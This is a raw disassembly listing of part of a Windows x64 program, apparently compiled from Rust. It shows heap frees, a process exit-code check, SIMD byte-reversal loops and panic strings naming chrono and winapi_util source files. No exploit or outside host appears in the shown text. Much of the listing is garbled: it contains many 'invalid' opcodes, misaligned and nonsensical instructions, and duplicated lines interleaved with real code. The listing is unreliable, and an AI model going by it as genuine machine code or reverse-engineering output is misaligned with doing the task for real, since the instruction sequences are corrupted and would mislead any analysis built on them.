call qword [sym.imp.kernel32.dll_HeapFree]
xor edi, edi
jmp 0x140036469
mov dword [rbp + 0xa0], 0
lea rdx, [rbp + 0xa0]
mov rcx, r12
call qword [sym.imp.kernel32.dll_GetExitCodeProcess]
test eax, eax
je 0x1400363df
mov rdi, qword [rbp + 0x70]
mov r15, qword [rbp + 0x78]
mov rax, qword [rbp + 0x420]
mov qword [rbp + 0x458], rax
mov r13, qword [rbp + 0x428]
mov r12, qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x450]
call r12
mov rcx, qword [rbp + 0x468]
call r12
test rdi, rdi
je 0x140036543
test r15, r15
je 0x1400364a4
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test r13, r13
mov r15, qword [rbp + 0x470]
mov r8, qword [rbp + 0x458]
je 0x1400364c6
cmp qword [rbx + 8], 0
je 0x1400364eb
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi + 0x50], 0
je 0x140036517
mov r8, qword [rsi + 0x48]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rsi + 0x40], 0
mov rax, qword [rsi + 8]
test rax, rax
je 0x14003653b
mov r8, qword [rsi]
mov rcx, qword [0x1400f91f8]
xor r13d, r13d
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14003653e
xor r13d, r13d
jmp 0x1400378e9
mov r12, r15
mov r15, qword [rbp + 0x470]
lea rcx, [rbp + 0x2f0]
call fcn.14000ad10
movzx eax, byte [0x1400f92c0]
mov ecx, 8
mov edx, 8
call fcn.1400515f0
test rax, rax
je 0x1400372d4
mov r13, rax
mov qword [rax], r12
cmp qword [rbx + 8], 0
je 0x140036597
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea r12, [0x1400b0c00]
cmp qword [rsi + 0x50], 0
jne 0x140035900
jmp 0x1400379bf
call qword [sym.imp.kernel32.dll_GetLastError]
mov r15, rax
shl r15, 0x20
or r15, 2
mov qword [rbp + 0x170], r15
cmp eax, 0x6d
je 0x1400365e6
cmp rcx, 5
cmovb rdx, rcx
mov ebx, 9
test rdx, rdx
je 0x140036791
cmp rcx, 5
cmovae rax, qword [rbp + 0x440]
test byte [rax], 1
je 0x140036791
cmp qword [rbp + 0x2e8], 2
jae 0x140036765
mov ebx, 0xc
jmp 0x140036778
mov ebx, 8
ja 0x140036778
test r9, r9
je 0x140036778
cmp qword [rbp + 0x468], 0
je 0x140036778
lea r11, [r8 + r9*8]
mov r9, qword [rbp + 0x468]
lea r10, [rbp + 0xa8]
lea r9, [r10 + r9*8]
lea r14, [r11 - 8]
lea rdi, [r9 - 8]
mov r15, qword [r9 - 8]
cmp qword [r14], r15
mov r15, qword [rbp + 0x470]
jb 0x140036342
ja 0x140036778
cmp r14, r8
je 0x140036778
cmp rdi, r10
je 0x140036778
lea r14, [r11 - 0x10]
lea rdi, [r9 - 0x10]
mov r15, qword [r9 - 0x10]
cmp qword [r14], r15
mov r15, qword [rbp + 0x470]
jb 0x140036342
ja 0x140036778
cmp r14, r8
je 0x140036778
cmp rdi, r10
je 0x140036778
lea r14, [r11 - 0x18]
lea rdi, [r9 - 0x18]
mov r15, qword [r9 - 0x18]
cmp qword [r14], r15
mov r15, qword [rbp + 0x470]
jb 0x140036342
ja 0x140036778
cmp r14, r8
je 0x140036778
cmp rdi, r10
je 0x140036778
lea r14, [r11 - 0x20]
lea rdi, [r9 - 0x20]
mov r15, qword [r9 - 0x20]
cmp qword [r14], r15
mov r15, qword [rbp + 0x470]
jb 0x140036342
ja 0x140036778
cmp r14, r8
je 0x140036778
lea r8, [rbp + 0xa8]
cmp rdi, r8
je 0x140036778
mov r8, qword [r11 - 0x28]
cmp r8, qword [r9 - 0x28]
mov r15, qword [rbp + 0x470]
jb 0x140036342
jmp 0x140036791
shr qword [rbp + 0x2e8], 0x21
je 0x140036ac3
mov ebx, 0xd
mov r15, qword [rbp + 0x470]
jmp 0x140036791
test r13, r13
mov r15, qword [rbp + 0x470]
jne 0x140036342
mov rcx, qword [0x1400f91f8]
mov rdi, qword [sym.imp.kernel32.dll_HeapFree]
xor edx, edx
mov r8, qword [rbp + 0x458]
call rdi
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x2a0]
call rdi
cmp ebx, 0x14
jne 0x1400369ae
cmp qword [rbp + 0x468], 5
jb 0x140036adb
test r13, r13
je 0x140036b05
mov rax, qword [rbp + 0xb0]
jmp 0x140036af1
mov rcx, qword [rbp + 0x468]
mov r13, rcx
lea rax, [rbp + 0xa8]
add al, 0
add byte [rcx - 0x77], cl
int 0x48
lea eax, [rbp + 0xa8]
test rcx, rcx
je 0x140036b05
mov rax, qword [rax + r13*8 - 8]
test rax, rax
je 0x140036b10
bsr rax, rax
xor rax, 0x3f
jmp 0x140036b15
xor eax, eax
mov qword [rbp + 0x448], rax
jmp 0x140036b2b
mov eax, 0x40
shl r13, 6
in eax, 6
or r13, 7
sub r13, rax
shr r13, 3
mov qword [rbp + 0x448], r13
mov edx, 1
mov rdi, qword [rbp + 0x458]
add byte [rax - 0x75], cl
mov ebp, 0x458
mov rcx, rdi
xor r8d, r8d
call fcn.140009f20
mov rcx, rdi
call fcn.140009d70
mov rbx, rax
cmp qword [rbp + 0x448], 0x62
jae 0x140036b81
mov ebp, 0x448
invalid
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov ebx, 3
add byte [rax], al
add byte [rax - 0x75], cl
test dword [rax + 4], ecx
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
test dword [rax + 4], ecx
add byte [rax], al
mov qword [rbp + 0x468], rax
jmp 0x140036778
mov rcx, qword [rbp + 0x448]
call fcn.1400516a0
mov qword [rbp + 0x440], rax
test dword [rax + 4], eax
add byte [rax], al
test dword [rax + 4], eax
add byte [rax], al
test rax, rax
je 0x140037899
mov r15, qword [rbp + 0x440]
lea r13, [r15 + 1]
mov rdi, qword [rbp + 0x448]
add al, 0
add byte [rbp + rcx*4 + 0x77], cl
fisttp word [rax - 0x75]
invalid
fadd dword [rdx]
add byte [rax], al
mov rdx, r13
call fcn.1400647d0
fadd qword [rdx]
add bl, dh
movq mm0, qword [rbx]
fadd qword [rdx]
add bl, dh
movq mm0, qword [rbx]
movdqu xmm1, xmmword [rbx + 0x10]
movdqu xmmword [r15 + 0x31], xmm1
movdqu xmmword [r15 + 0x21], xmm0
lea rcx, [rdi - 0x42]
cmp rcx, r14
jae 0x14003784b
mov rax, qword [rbp + 0x440]
lea rdi, [rax + 0x21]
mov rax, qword [rbp + 0x448]
lea rcx, [rax - 0x41]
lea ecx, [rax - 0x41]
lea ecx, [rax - 0x41]
mov byte [rdi + rax - 0x42], 1
cmp rcx, r14
ja 0x1400378ac
mov r12, qword [rbp + 0x448]
movups xmmword [rdi + r12 - 0x41], xmm6
movups xmmword [rdi + r12 - 0x31], xmm7
mov qword [rsp + 0x20], 0x20
mov rcx, rdi
mov rdx, r14
mov r15, qword [rbp + 0x2a0]
mov r8, r15
mov r9, r13
call case.0x14002f576.321
mov qword [rsp + 0x20], r14
mov edx, 0x20
mov rcx, r13
mov ecx, ebp
mov ecx, ebp
mov r8, r15
mov r9, rdi
call case.0x14002f576.321
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x1400f92c0]
mov edx, 1
mov rcx, r12
call fcn.1400515f0
test rax, rax
je 0x140037899
mov rbx, rax
lea rdi, [rbp + 0xd0]
mov rcx, rax
mov rdx, qword [rbp + 0x440]
mov r14, qword [rbp + 0x448]
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r14
shr rcx, 1
mov rax, rcx
neg rax
mov rdx, rcx
and rdx, 0xfffffffffffffff0
lea r8, [r14 + rbx]
add r8, 0xfffffffffffffff0
xor r9d, r9d
pxor xmm0, xmm0
movdqu xmm1, xmmword [rbx + r9]
movdqu xmm2, xmmword [r8]
movdqa xmm3, xmm2
punpcklbw xmm3, xmm0
pshufd xmm3, xmm3, 0x4e
pshuflw xmm3, xmm3, 0x1b
pshufhw xmm3, xmm3, 0x1b
punpckhbw xmm2, xmm0
pshufd xmm2, xmm2, 0x4e
pshuflw xmm2, xmm2, 0x1b
pshufhw xmm2, xmm2, 0x1b
packuswb xmm2, xmm3
movdqu xmmword [rbx + r9], xmm2
movdqa xmm2, xmm1
punpcklbw xmm2, xmm0
pshufd xmm2, xmm2, 0x4e
pshuflw xmm2, xmm2, 0x1b
pshufhw xmm2, xmm2, 0x1b
punpckhbw xmm1, xmm0
pshufd xmm1, xmm1, 0x4e
pshuflw xmm1, xmm1, 0x1b
pshufhw xmm1, xmm1, 0x1b
packuswb xmm1, xmm2
movdqu xmmword [r8], xmm1
add r9, 0x10
add r8, 0xfffffffffffffff0
cmp rdx, r9
jne 0x140036cc8
cmp rcx, rdx
je 0x140036dfd
test byte [rbp + 0x448], 0x10
jne 0x140036d5e
mov r8, rdx
jmp 0x140036dce
mov r8, rcx
and r8, 0xfffffffffffffff8
mov r9, qword [rbp + 0x448]
sub r9, rdx
add r9, rbx
add r9, 0xfffffffffffffff8
pxor xmm0, xmm0
movq xmm1, qword [rbx + rdx]
movq xmm2, qword [r9]
punpcklbw xmm2, xmm0
pshufd xmm2, xmm2, 0x4e
pshuflw xmm2, xmm2, 0x1b
pshufhw xmm2, xmm2, 0x1b
packuswb xmm2, xmm2
movq qword [rbx + rdx], xmm2
adc esp, dword [rsi + 0xf]
invalid
enter 0xf66, 0x70
leave
pshuflw xmm1, xmm1, 0x1b
pshufhw xmm1, xmm1, 0x1b
packuswb xmm1, xmm1
movq qword [r9], xmm1
or dword [rax - 0x7d], ecx
ret 0x4908
add ecx, 0xfffffff8
cmp r8, rdx
jne 0x140036d7a
adc esp, dword [rsi + 0xf]
invalid
or dword [rax - 0x7d], ecx
ret 0x4908
cmp rcx, r8
je 0x140036dfd
lea rcx, [rbx + r8]
neg r8
mov rdx, qword [rbp + 0x448]
add rdx, rbx
dec rdx
movzx r9d, byte [rcx]
movzx r10d, byte [rdx + r8]
mov byte [rcx], r10b
mov byte [rdx + r8], r9b
dec r8
inc rcx
cmp rax, r8
jne 0x140036de2
lea rcx, [rbp + 0x2f0]
mov rdx, rbx
mov r8, qword [rbp + 0x448]
add al, 0
add al, ch
pop rbp
invalid
add al, byte [rax]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movdqu xmm0, xmmword [rbp + 0x2f0]
movdqu xmm1, xmmword [rbp + 0x300]
movdqu xmm2, xmmword [rbp + 0x310]
movdqa xmmword [rbp + 0x170], xmm0
movdqa xmmword [rbp + 0x180], xmm1
movdqa xmmword [rbp + 0x190], xmm2
lea rcx, [rbp + 0x2f0]
add byte [rax - 0x73], cl
xchg ebp, eax
jo 0x140036e62
add byte [rax], al
add al, 0
add al, ch
pop rbp
invalid
add byte [rax - 0x73], cl
xchg ebp, eax
jo 0x140036e62
add byte [rax], al
add byte [rbp + rcx*4 - 0x73], cl
movabs al, byte [0x9ee8f88949000000]
mov eax, edi
call fcn.14005d510
lea r9, [rbp + 0xa0]
mov r8, rdi
mov eax, edi
mov eax, edi
call fcn.14005d510
cmp qword [rbp + 0x468], 5
jb 0x140036e9f
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
mov qword [rbp + 0x468], rcx
test rcx, rcx
je 0x140036ec8
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x68], rax
jmp 0x140036ea9
cmp qword [rbp + 0x468], 0
je 0x140036ec8
mov rax, qword [rbp + 0x468]
mov rcx, qword [rbp + 0x68]
mov rax, qword [rcx + rax*8 - 8]
test rax, rax
je 0x140036ed3
bsr rax, rax
xor rax, 0x3f
jmp 0x140036ed8
xor eax, eax
mov qword [rbp + 0x468], rax
jmp 0x140036ef5
mov eax, 0x40
mov rcx, qword [rbp + 0x468]
shl rcx, 6
or rcx, 7
sub rcx, rax
shr rcx, 3
mov qword [rbp + 0x468], rcx
mov rax, qword [rbp + 0x318]
cmp rax, 5
jb 0x140036f09
add byte [rcx + 1], bh
mov edx, 1
call fcn.1400515f0
test rax, rax
je 0x140037531
mov r13, rax
mov byte [rax], 0
mov qword [rbp + 0x428], 1
jmp 0x1400370ed
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.srcmain.rs
mov edx, 0x23
call fcn.1400aa0a0
ud2
movq xmm1, qword [r13 + rdx]
movq xmm2, qword [r8]
punpcklbw xmm2, xmm0
pshufd xmm2, xmm2, 0x4e
pshuflw xmm2, xmm2, 0x1b
pshufhw xmm2, xmm2, 0x1b
packuswb xmm2, xmm2
packuswb mm2, mm2
packuswb mm2, mm2
movq qword [r13 + rdx], xmm2
punpcklbw xmm1, xmm0
pshufd xmm1, xmm1, 0x4e
pshuflw xmm1, xmm1, 0x1b
pshufhw xmm1, xmm1, 0x1b
sbb esp, dword [rsi + 0xf]
leave
sbb esp, dword [rsi + 0xf]
leave
movq qword [r8], xmm1
add rdx, 8
add r8, 0xfffffffffffffff8
cmp rcx, rdx
jne 0x14003706b
cmp rax, rcx
je 0x1400370ed
mov rdx, rcx
not rdx
add rdx, rbx
movzx r8d, byte [r13 + rcx]
movzx r9d, byte [r13 + rdx]
mov byte [r13 + rcx], r9b
or eax, 0x44884500
adc eax, 0xc1ff4800
or eax, 0x44884500
adc eax, 0xc1ff4800
dec rdx
cmp rax, rcx
jne 0x1400370cc
mov r14, qword [rbp + 0x428]
mov rdi, qword [rbp + 0x468]
sub rdi, rbx
jae 0x140037107
mov ebx, 0x12
jmp 0x140037162
cmp qword [rbp + 0x468], 0
je 0x14003713c
mov rcx, qword [rbp + 0x468]
call fcn.1400516a0
mov qword [rbp + 0x2e8], rax
test rax, rax
add al, ch
and dword [rbp - 0x76b7ffff], 0xffffff85
call 0x188037127
test eax, eax
jne 0x140037148
mov ecx, 1
mov rdx, qword [rbp + 0x468]
call fcn.1400a9e00
ud2
invalid
or edi, dword [rax + 1]
mov eax, 1
mov qword [rbp + 0x2e8], rax
add rdi, qword [rbp + 0x2e8]
mov rcx, rdi
mov rdx, r13
mov r8, rbx
fsubr st(0)
jle 0x140037150
invalid
add byte [rbx + 0x14], bh
test r14, r14
je 0x140037179
mov rcx, qword [0x1400f91f8]
and byte [rax + rax], cl
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x318], 5
jb 0x1400371c5
mov r8, qword [rbp + 0x300]
mov rcx, qword [0x1400f91f8]
add eax, dword [rax]
add byte [rax - 0x75], cl
or eax, 0xc2067
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x170]
call fcn.14005ff40
add al, byte [rax]
add al, byte [rax]
cmp qword [rbp + 0x198], 5
jae 0x1400371db
mov rax, qword [rbp + 0x448]
mov rcx, qword [rbp + 0x440]
and rax, 7
jne 0x140037205
lea rcx, [rbp + 0x170]
call fcn.14005ff40
cmp qword [rbp + 0x198], 5
jb 0x1400371af
mov r8, qword [rbp + 0x180]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x448]
test dword [rax + 4], ecx
add byte [rax], al
test dword [rax + 4], ecx
add byte [rax], al
mov rcx, qword [rbp + 0x440]
and rax, 7
je 0x14003721a
mov rdx, rax
mov rcx, qword [rbp + 0x440]
mov byte [rcx], 0
inc rcx
dec rdx
jne 0x14003720f
mov rdx, qword [rbp + 0x448]
mov r8, qword [rbp + 0x440]
add rdx, r8
mov byte [rcx], 0
mov byte [rcx + 1], 0
mov byte [rcx + 2], 0
mov byte [rcx + 3], 0
mov byte [rcx + 4], 0
mov byte [rcx + 5], 0
mov byte [rcx + 6], 0
mov byte [rcx + 7], 0
add rcx, 8
cmp rcx, rdx
jne 0x14003722b
mov rdx, qword [rbp + 0x448]
and rdx, 0xfffffffffffffff8
xor ecx, ecx
mov r8, qword [rbp + 0x440]
mov byte [r8 + rcx], 0
mov byte [r8 + rcx + 1], 0
mov byte [r8 + rcx + 2], 0
mov byte [r8 + rcx + 3], 0
mov byte [r8 + rcx + 4], 0
mov byte [r8 + rcx + 5], 0
mov byte [r8 + rcx + 6], 0
mov byte [r8 + rcx + 7], 0
add rcx, 8
cmp rdx, rcx
jne 0x140037267
test rax, rax
je 0x1400372b9
mov rdx, qword [rbp + 0x440]
add rdx, rcx
mov byte [rdx], 0
inc rdx
dec rax
jne 0x1400372ae
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x440]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140036778
mov ecx, 8
mov edx, 8
call fcn.1400a9e00
ud2
mov ecx, 1
mov edx, 0x20
call fcn.1400a9e00
ud2
mov ecx, 8
mov edx, 0x20
call fcn.1400a9e00
ud2
mov al, 2
jmp 0x140037389
mov al, 2
jmp 0x1400373de
mov al, 2
jmp 0x140037433
mov al, 2
jmp 0x140037488
lea rcx, str.no_entry_found_for_key_NaiveDateTime__Duration__overflowedC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_naivedatetimemod.rs
lea r8, str.srcmain.rs
mov edx, 0x16
call fcn.1400aa4d0
ud2
mov al, 2
jmp 0x1400374e1
mov rax, qword [rbp + 0x2f0]
mov qword [rbp + 0x170], rax
jo 0x14003734e
add byte [rax], al
lea rax, str.srcutilitiescatch.rs
jmp 0x140037602
call fcn.1400402a0
ud2
mov ecx, 8
mov edx, 0x50
call fcn.1400a9e00
ud2
mov eax, dword [r13]
mov ecx, dword [r13 + 3]
mov dword [rbp + 0x173], ecx
mov dword [rbp + 0x170], eax
xor eax, eax
mov qword [rbp + 0x2f0], r15
mov qword [rbp + 0x2f8], r12
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x300], r8
mov byte [rbp + 0x308], al
mov eax, dword [rbp + 0x170]
mov ecx, dword [rbp + 0x173]
mov dword [rbp + 0x309], eax
test dword [rcx], ecx
add eax, dword [rax]
add byte [rcx + 0x30c8d], cl
invalid
add byte [rax + 0x30885], cl
add byte [rbx + 0x17085], cl
add byte [rbx + 0x1738d], cl
add byte [rcx + 0x30985], cl
test dword [rcx], ecx
add eax, dword [rax]
test dword [rcx], ecx
add eax, dword [rax]
add byte [rcx + 0x30c8d], cl
lea ecx, [rbx + rax]
add byte [rax], al
add eax, dword [rax]
add byte [rax - 0x73], cl
add eax, 0x84d95
lea rax, str.srcmain.rs
jmp case.0x140026d73.226
mov eax, dword [r13]
mov ecx, dword [r13 + 3]
mov ecx, dword [rbp + 3]
mov ecx, dword [rbp + 3]
mov dword [rbp + 0x173], ecx
lea esi, [rbx + 1]
add byte [rax], al
mov dword [rbp + 0x170], eax
xor eax, eax
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], r15
mov qword [rbp + 0x300], r8
add byte [rax], al
mov byte [rbp + 0x308], al
mov eax, dword [rbp + 0x170]
mov ecx, dword [rbp + 0x173]
mov dword [rbp + 0x309], eax
or dword [rbx], eax
add byte [rax], al
mov dword [rbp + 0x30c], ecx
or al, 3
add byte [rax], al
lea rax, str.srcmain.rs
jmp case.0x140026d73.226
add cl, ch
add rax, qword [rax]
add byte [rcx - 0x75], al
add byte [r9 - 0x75], r8b
mov ecx, dword [r13 + 3]
mov dword [rbp + 0x173], ecx
mov dword [rbp + 0x170], eax
xor eax, eax
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], r15
mov qword [rbp + 0x300], r8
add eax, dword [rax]
invalid
mov eax, dword [r13]
mov ecx, dword [r13 + 3]
mov dword [rbp + 0x173], ecx
mov dword [rbp + 0x170], eax
xor eax, eax
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], r15
mov qword [rbp + 0x300], r8
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax + 0x30885], cl
add byte [rbx + 0x17085], cl
add byte [rbx + 0x1738d], cl
add byte [rcx + 0x30985], cl
add byte [rcx + 0x30c8d], cl
lea ecx, [rbx + rax]
add byte [rax], al
lea rax, str.srcmain.rs
mov byte [rbp + 0x308], al
mov eax, dword [rbp + 0x170]
mov ecx, dword [rbp + 0x173]
mov dword [rbp + 0x309], eax
mov dword [rbp + 0x30c], ecx
lea ecx, [rbx + rax]
add byte [rax], al
lea ecx, [rbx + rax]
add byte [rax], al
lea rax, str.srcmain.rs
jmp case.0x140026d73.226
mov eax, dword [r13]
mov ecx, dword [r13 + 3]
mov dword [rbp + 0x173], ecx
add dword [rax], eax
add byte [rcx + 0x17085], cl
add byte [rcx], dh
invalid
add byte [rcx - 0x75], al
add r9, qword [r9 + 0x1738d]
add dword [rax], eax
add dword [rax], eax
add byte [rcx + 0x17085], cl
add byte [rcx], dh
ror byte [rcx + rcx*4 - 0x5b], 0xf0
add al, byte [rax]
add byte [rax - 0x77], cl
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], rbx
popfq
clc
add al, byte [rax]
add byte [rcx + rcx*4 - 0x7b], cl
add byte [rbx], al
add byte [rax], al
popfq
clc
add al, byte [rax]
add byte [rcx + rcx*4 - 0x7b], cl
add byte [rbx], al
add byte [rax], al
mov byte [rbp + 0x308], al
mov eax, dword [rbp + 0x170]
mov ecx, dword [rbp + 0x173]
jae 0x1400374ae
add byte [rax], al
jae 0x1400374ae
add byte [rax], al
add byte [rcx + 0x30985], cl
add byte [rcx + 0x30c8d], cl
add byte [rax - 0x73], cl
add eax, 0x84cf6
mov dword [rbp + 0x309], eax
mov dword [rbp + 0x30c], ecx
lea rax, str.srcmain.rs
jmp case.0x140026d73.226
lea rcx, [rbp + 0x309]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rbp + 0x173], ecx
mov dword [rbp + 0x170], eax
xor eax, eax
mov qword [rbp + 0x2f0], r13
mov qword [rbp + 0x2f8], r15
mov dword [rbp + 0x2f8], edi
lodsd eax, dword [rsi]
lock add al, byte [rax]
add byte [rcx + rcx*4 - 0x43], cl
mov dword [rbp + 0x2f8], edi
mov qword [rbp + 0x300], r8
mov dword [rbp + 0x2f8], edi
mov qword [rbp + 0x300], r8
mov byte [rbp + 0x308], al
mov eax, dword [rbp + 0x170]
test dword [rax + 1], esi
add byte [rax], al
add byte [rbx + 0x17085], cl
add byte [rbx + 0x1738d], cl
lea esi, [rbx + 1]
add byte [rax], al
mov dword [rbp + 0x309], eax
mov dword [rbp + 0x30c], ecx
lea rax, str.srcmain.rs
test dword [rax + 1], esi
add byte [rax], al
mov ecx, dword [rbp + 0x173]
lea esi, [rbx + 1]
add byte [rax], al
mov dword [rbp + 0x309], eax
mov dword [rbp + 0x30c], ecx
lea rax, str.srcmain.rs
jmp case.0x140026d73.226
mov ecx, 1
mov edx, 3
call fcn.1400a9e00
ud2
mov ecx, 1
mov edx, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
call fcn.1400a9e00
ud2
add byte [rdi], cl
or edi, dword [rcx + 8]
mov ecx, 8
mov edx, 0x40
call fcn.1400a9e00
ud2
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.srcmain.rs
lea eax, [0x1400bbc20]
lea eax, [0x1400bbc20]
mov edx, 0x23
call fcn.1400aa0a0
sub eax, dword [rdi]
add byte [rdi], cl
invalid
sub eax, dword [rdi]
add byte [rdi], cl
or ecx, dword [rax - 0x73]
or eax, 0x7a44c
lea r8, [0x1400bbab0]
xor eax, 0xba000845
and eax, dword [rax]
add byte [rax], al
call fcn.1400aa0a0
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, dword [rax - 0x73]
or eax, 0x7a432
movsb byte [rdi], byte [rsi]
invalid
add byte [rbp + rcx*4 + 5], cl
adc eax, dword [rsi + 8]
add byte [rdx + 0x23], bh
call fcn.1400aa0a0
sub eax, dword [rdi]
add byte [rdi], cl
invalid
movsb byte [rdi], byte [rsi]
invalid
sub eax, dword [rdi]
add byte [rdi], cl
or ecx, dword [rax - 0x73]
or eax, 0x7a418
add byte [rbp + rcx*4 + 5], cl
sub dword [rsi + 8], eax
add byte [rdx + 0x23], bh
add byte [rbp + rcx*4 + 5], cl
sub dword [rsi + 8], eax
add byte [rdx + 0x23], bh
call fcn.1400aa0a0
ud2
mov al, 2
jmp 0x140037689
add ch, cl
mov dword [rax], 0x8b90000
or byte [rax], al
add byte [rax], al
mov edx, 0x70
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0x70
call fcn.1400a9e00
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
or eax, dword [rax]
lea r8, str.srcutilities_fs.rs
mov edx, 0x2b
call fcn.1400aa0a0
ud2
mov rax, qword [rbp + 0x2f0]
mov qword [rbp + 0x170], rax
lea rax, str.srcutilitiescatch.rs
lea eax, [0x1400bb3f0]
lea eax, [0x1400bb3f0]
cmp eax, 0x89480008
and al, 0x20
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400b1210]
invalid
add byte [rbp + rcx*4 - 0x7b], cl
jo case.0x14001bae2.309
add byte [rax], al
invalid
add byte [rax], al
add byte [rdx + 0x2b], bh
mov edx, 0x2b
call fcn.1400aa430
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str.srcutilitiescatch.rs
mov edx, 0x2b
sub eax, dword [rax]
add byte [rax], al
jno 0x140037639
add byte [rbp + rcx*4 + 5], cl
sar byte [0x16bbd7640], cl
sub eax, dword [rax]
add byte [rax], al
invalid
invalid
sub eax, dword [rax]
add byte [rax], al
call fcn.1400aa0a0
ud2
invalid
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str.srcutilities_fs.rs
invalid
add byte [rbp + rcx*4 + 5], cl
js 0x14003768c
or byte [rax], al
add byte [rdx + 0x2b], bh
mov edx, 0x2b
call fcn.1400aa0a0
ud2
mov al, 2
jmp 0x1400376db
add ch, bl
jnp 0x14003761a
mov ecx, 2
add al, byte [rax]
add byte [rax], al
invalid
add byte [rcx + rcx*4 - 6], cl
mov rdx, r15
call fcn.1400a9e00
ud2
lea rcx, [rbp + 0x309]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
lea ecx, [rcx]
add eax, dword [rax]
add byte [rbx + 0x3498b01], cl
mov dword [rbp + 0xa3], ecx
mov dword [rbp + 0xa0], eax
xor eax, eax
mov qword [rbp + 0x2f0], r15
mov ebp, 0x2f0
lock add al, byte [rax]
add byte [rcx + rcx*4 - 0x5b], cl
clc
add al, byte [rax]
add byte [rcx + rcx*4 - 0x7b], cl
add byte [rbx], al
add byte [rax], al
mov qword [rbp + 0x2f8], r12
mov qword [rbp + 0x300], r8
mov byte [rbp + 0x308], al
mov eax, dword [rbp + 0xa0]
mov ecx, dword [rbp + 0xa3]
add byte [rax], al
add byte [rcx + 0x30985], cl
invalid
add byte [rax], al
add byte [rcx + 0x30985], cl
add byte [rcx + 0x30c8d], cl
add byte [rax - 0x73], cl
add eax, 0x7af0d
invalid
invalid
add byte [rax], al
mov dword [rbp + 0x30c], ecx
lea rax, [0x1400b25d0]
invalid
invalid
invalid
jmp case.0x140026d73.226
mov qword [rbp + 0x2f0], rbx
mov qword [rbp + 0x2f8], rdi
add al, byte [rax]
add byte [rax - 0x77], cl
mov ebp, 0x2f8
mov qword [rbp + 0x300], r8
mov byte [rbp + 0x308], al
mov eax, dword [rbp + 0xa0]
add byte [rbx + 0xa38d], cl
add byte [rcx + 0x30985], cl
add byte [rcx + 0x30c8d], cl
add byte [rax - 0x73], cl
add eax, 0x83dd3
invalid
invalid
or byte [rax], al
add byte [rbx + 0xa38d], cl
add byte [rcx + 0x30985], cl
lea esp, [rbx - 0x77000000]
test dword [rcx], ecx
add eax, dword [rax]
add byte [rcx + 0x30c8d], cl
add byte [rax - 0x73], cl
add eax, 0x83dd3
invalid
invalid
or byte [rax], al
sar dword [0x190ee771f], cl
jmp case.0x140026d73.226
movdqu xmm0, xmmword [rbp + 0x170]
movdqu xmm1, xmmword [rbp + 0x180]
outsd dx, dword [rsi]
lea eax, [rax + 0x66000001]
movq qword [rbp + 0x300], mm1
outsd dx, dword [rsi]
lea eax, [rax + 0x66000001]
movq qword [rbp + 0x300], mm1
movdqa xmmword [rbp + 0x2f0], xmm0
lea rax, [0x1400b25a0]
jmp case.0x140026d73.226
movdqu xmm0, xmmword [rbp + 0x170]
movdqu xmm1, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x300], xmm1
movdqa xmmword [rbp + 0x2f0], xmm0
lea rax, [0x1400b25b8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400b1270]
lea r8, [rbp + 0x2f0]
mov edx, 0x2b
